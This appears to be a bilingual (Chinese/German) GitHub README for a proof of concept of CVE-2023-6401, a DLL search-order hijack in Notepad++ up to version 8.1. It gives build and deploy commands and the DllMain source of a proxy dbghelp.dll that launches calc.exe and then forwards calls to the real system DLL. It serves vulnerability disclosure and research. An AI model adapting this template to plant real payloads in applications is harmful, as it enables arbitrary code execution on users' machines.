
CVE-2023-6401 is a DLL hijacking vulnerability that allows attackers to execute arbitrary code by placing a malicious `dbghelp.dll` file in the application directory. This project demonstrates the vulnerability and provides a reproducible PoC.
⚠️ 重要聲明:僅供安全研究和教育目的使用
NotePad++ ≤ 8.1 DLL劫持漏洞的概念驗證。通過在應用程式目錄放置惡意 dbghelp.dll 來執行任意程式碼。
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
預期結果: 計算器彈出 + 訊息框顯示 + NotePad++正常啟動

Windows按以下順序載入DLL:
NotePad++啟動時會載入 dbghelp.dll,通過在應用程式目錄放置同名惡意DLL,可在系統DLL載入前執行程式碼。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
本專案僅供教育和安全研究使用。使用者需對遵守適用法律法規承擔全部責任。
⚠️ WICHTIGER HAFTUNGSAUSSCHLUSS: Nur für Sicherheitsforschung und Bildungszwecke
Proof-of-Concept für die DLL-Hijacking-Schwachstelle in NotePad++ ≤ 8.1. Ausführung beliebigen Codes durch Platzieren einer schädlichen dbghelp.dll im Anwendungsverzeichnis.
# Projekt klonen
git clone https://github.com/mekitoci/CVE-2023-6401.git
# In das Projektverzeichnis wechseln
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# In das NotePad++-Verzeichnis deployen
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Test ausführen
"C:\Program Files\Notepad++\notepad++.exe"
# Sofortige Bereinigung
del "C:\Program Files\Notepad++\dbghelp.dll"
Erwartetes Ergebnis: Rechner wird geöffnet + Meldungsbox wird angezeigt + NotePad++ startet normal

Windows lädt DLLs in der folgenden Reihenfolge:
NotePad++ lädt beim Start dbghelp.dll. Durch Platzieren einer schädlichen DLL mit demselben Namen im Anwendungsverzeichnis kann Code ausgeführt werden, bevor die System-DLL geladen wird.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Schädlichen Code ausführen
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Echte DLL laden und API-Aufrufe weiterleiten
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Entfernen der schädlichen DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Entfernung bestätigen
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Bereinigung abgeschlossen"
Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Benutzer sind allein für die Einhaltung der geltenden Gesetze und Vorschriften verantwortlich.
| 項目 | 詳情 |
|---|
| CVE編號 | CVE-2023-6401 |
| 影響版本 | NotePad++ ≤ 8.1 |
| 漏洞類型 | DLL劫持 / 搜尋路徑劫持 |
| 影響 | 執行任意程式碼 |
| 前提條件 | 應用程式目錄寫入權限 |
| Element | Details |
|---|
| CVE-Nummer | CVE-2023-6401 |
| Betroffene Versionen | NotePad++ ≤ 8.1 |
| Schwachstellentyp | DLL-Hijacking / Search-Order-Hijacking |
| Auswirkung | Ausführung beliebigen Codes |
| Voraussetzungen | Schreibberechtigung im Anwendungsverzeichnis |